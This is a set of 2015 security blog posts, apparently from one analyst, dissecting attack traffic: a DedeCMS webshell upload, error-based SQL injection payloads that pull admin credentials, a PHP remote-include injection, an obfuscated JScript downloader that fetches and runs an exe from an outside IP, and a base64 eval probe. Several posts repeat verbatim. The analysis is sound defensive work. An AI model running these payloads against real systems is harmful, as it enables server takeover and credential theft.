Saw this attack below that appears to be targted at China's popular CMS dedeCMS.
HEAD /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
It appears that if this vulnerable page was available and exposed and not patched then the attacker can gain remote access per this blog i read
Above is step 1 in the process which Clears the contents of config_update.php, which is likely an important file for the CMS and if empty now the guards are down on the site.
Then the 2nd step it says is that the attacker will send a similar request that Create local HTTP services like this below.
GET /install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://BADGUYIP:BADGUYPORT/
And your webshell would now live here
GET /install/hello.php
and your site is owned.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, December 17, 2015
DedeCMS File Upload vuln real example
Real eCommerce SQL Injection Example
I saw this SQL injection attempt that was likely supposed to be directed towards some php mysql ecommerce platform (I couldn't figure out exactly which one).
GET/news/html/?0'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
It appears to try to take advantage of a SQL Injection vulnerability in a query string parameter called '0' on the news page of the site. I know this by the tick followed by the word union
httml/?0'union If I clean it up by removing the excess comments used for obfuscation i get this sql statement being tried.
union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a, select concat(user,0x3a,password) from pwn_base_admin limit 0,1),0x3a)a from information_schema.tables group by a)b where'1'='1'
This is trying to output via a sql primary key error message, the username and password from the pwn_base_admin table. If you're not familiar with how this sql statement can output the sensitive data via an error getting thrown, please read my blog from last mnth about sqli duplicate entry for key.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
GET/news/html/?0'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
It appears to try to take advantage of a SQL Injection vulnerability in a query string parameter called '0' on the news page of the site. I know this by the tick followed by the word union
httml/?0'union If I clean it up by removing the excess comments used for obfuscation i get this sql statement being tried.
union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a, select concat(user,0x3a,password) from pwn_base_admin limit 0,1),0x3a)a from information_schema.tables group by a)b where'1'='1'
This is trying to output via a sql primary key error message, the username and password from the pwn_base_admin table. If you're not familiar with how this sql statement can output the sensitive data via an error getting thrown, please read my blog from last mnth about sqli duplicate entry for key.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, November 30, 2015
php injection sending email
I saw this php injection attempt that I thought was interesting.
GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://netsunucum.com/status/-/d.txt
The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.
SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>
If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at vaidominio2@gmail.com will get an email indicating that the server name in the body is vulnerable to the php injection.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://netsunucum.com/status/-/d.txt
The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.
SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>
If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at vaidominio2@gmail.com will get an email indicating that the server name in the body is vulnerable to the php injection.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Discuz SQLi Duplicate entry for key
Saw this sql injection attempt likely related to the Discuz! Internet Forum software probably from earlier this year. I think it may come from a PoC like this. Here's the attack seen.
POST /faq.php
action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...
select substr(authkey,1,62) from cdb_uc_applications limit 0,1
Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results
select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x
Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.
select 1 from ( RESULT ABOVE ) a
by printing the number '1' (literally the number 1) and then
) and ( RESULT ABOVE ) #
comment out (hash symbol) the rest of the sql statement to finish off the sql injection.
So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!
The github exploit linked above shows how this is utilized then ...
content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)
You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.
cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'
Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...
select substr(authkey,1,62) from cdb_uc_applications limit 0,1
Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results
select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x
Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.
select 1 from ( RESULT ABOVE ) a
by printing the number '1' (literally the number 1) and then
) and ( RESULT ABOVE ) #
comment out (hash symbol) the rest of the sql statement to finish off the sql injection.
So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!
The github exploit linked above shows how this is utilized then ...
content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)
You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.
cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'
Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Wednesday, November 25, 2015
Malicious Javascript Walk-thru
Saw this malicious obfuscated javascript and though it was worth a walk-thru. It starts as this ugly mess.
(
function (olcdENyNGCBd) {
function kKVXeV(msezIazw) {
return new olcdENyNGCBd.ActiveXObject(msezIazw)
}
var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
var kbtEwr;
kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
var pPDVaIAYVOIp = "2.XMLHTTP";
var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
var tndpSoRVjetRf = "%TEMP%\\";
var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(kKVXeV("ADOD" + mEwAroXP)){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {yimseHvs}
if (((new Date())>0,1656))
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
XkpYNx = "h";
XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
XkpYNx += "tp";
kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
}
)
(this) /*507952955735917811792346152771*/
I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.
(
function (olcdENyNGCBd) {
var kMFFvyAqh = true;
var kbtEwr = function () {
var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {
yimseHvs
}
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
kbtEwr();
}
)
(this)
Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.
var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
with(this.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
return payloadDestination;
}
}
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);
Wow, that looks much more readable! Let's go through line by line now.
var isExeStillDownloading = true;
This variable will be set to true until the EXE is downloaded from the website and then it's set to false.
var shellPrompt = this.ActiveXObject("WScript.Shell");
This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.
var payloadDestination = tempFolderPath +"115987449.exe";
This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.
with(this.ActiveXObject("ADODB.Stream")){
This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.
webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.
shellPrompt.Run(payloadDestination, 0, 0);
The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
function (olcdENyNGCBd) {
function kKVXeV(msezIazw) {
return new olcdENyNGCBd.ActiveXObject(msezIazw)
}
var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
var kbtEwr;
kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
var pPDVaIAYVOIp = "2.XMLHTTP";
var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
var tndpSoRVjetRf = "%TEMP%\\";
var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(kKVXeV("ADOD" + mEwAroXP)){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {yimseHvs}
if (((new Date())>0,1656))
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
XkpYNx = "h";
XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
XkpYNx += "tp";
kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
}
)
(this) /*507952955735917811792346152771*/
I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.
(
function (olcdENyNGCBd) {
var kMFFvyAqh = true;
var kbtEwr = function () {
var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
CtsZjtNlqpP.onreadystatechange = function (){
if (CtsZjtNlqpP.readyState == 4){
kMFFvyAqh = false;
with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(CtsZjtNlqpP.ResponseBody);
saveToFile(XuSlNgfI, 2);
close();
return XuSlNgfI;
}
}
}
CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
CtsZjtNlqpP.send();
yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
while (kMFFvyAqh) {
yimseHvs
}
CCPoAXzX.Run(XuSlNgfI, 0, 0);
}
kbtEwr();
}
)
(this)
Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.
var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
with(this.ActiveXObject("ADODB.Stream")){
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
return payloadDestination;
}
}
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);
Wow, that looks much more readable! Let's go through line by line now.
var isExeStillDownloading = true;
This variable will be set to true until the EXE is downloaded from the website and then it's set to false.
var shellPrompt = this.ActiveXObject("WScript.Shell");
This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.
var payloadDestination = tempFolderPath +"115987449.exe";
This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.
webRequest.onreadystatechange = function (){
if (webRequest.readyState == 4){
isExeStillDownloading = false;
This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.
with(this.ActiveXObject("ADODB.Stream")){
This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.
open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();
Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.
webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
this.WScript.Sleep(1100)
}
Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.
shellPrompt.Run(payloadDestination, 0, 0);
The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, November 23, 2015
More PHP Injection Obfuscation walk-thru
Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0...
z9=BaSE64_dEcOdE
Let's walk through this line by line again.
POST/plus/mytag_js.php?aid=8080
The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.
values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));
After removing the comments we're left with this above.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.
values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));
In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.
values=@eval(${'_POST'}[z9](${'_POST'}[z0]));
Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.
values=@eval($_POST[z9]($_POST[z0]));
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.
values=@eval(BaSE64_dEcOdE(MjgxMDAzO0...
Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.
values=@eval(base64_decode(MjgxMDAzO0...
Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode
values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););
Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
DHL Phishing
I saw this article last week about how Phishers are targeting millions of DHL customers. "The phishers are obviously after the users' DHL account password, i.e. all the personal information they can get from the account".
Thought it was timely considering I pasted recently a few DHL Phish samples [1], [2], [3] on pastebin.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thought it was timely considering I pasted recently a few DHL Phish samples [1], [2], [3] on pastebin.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)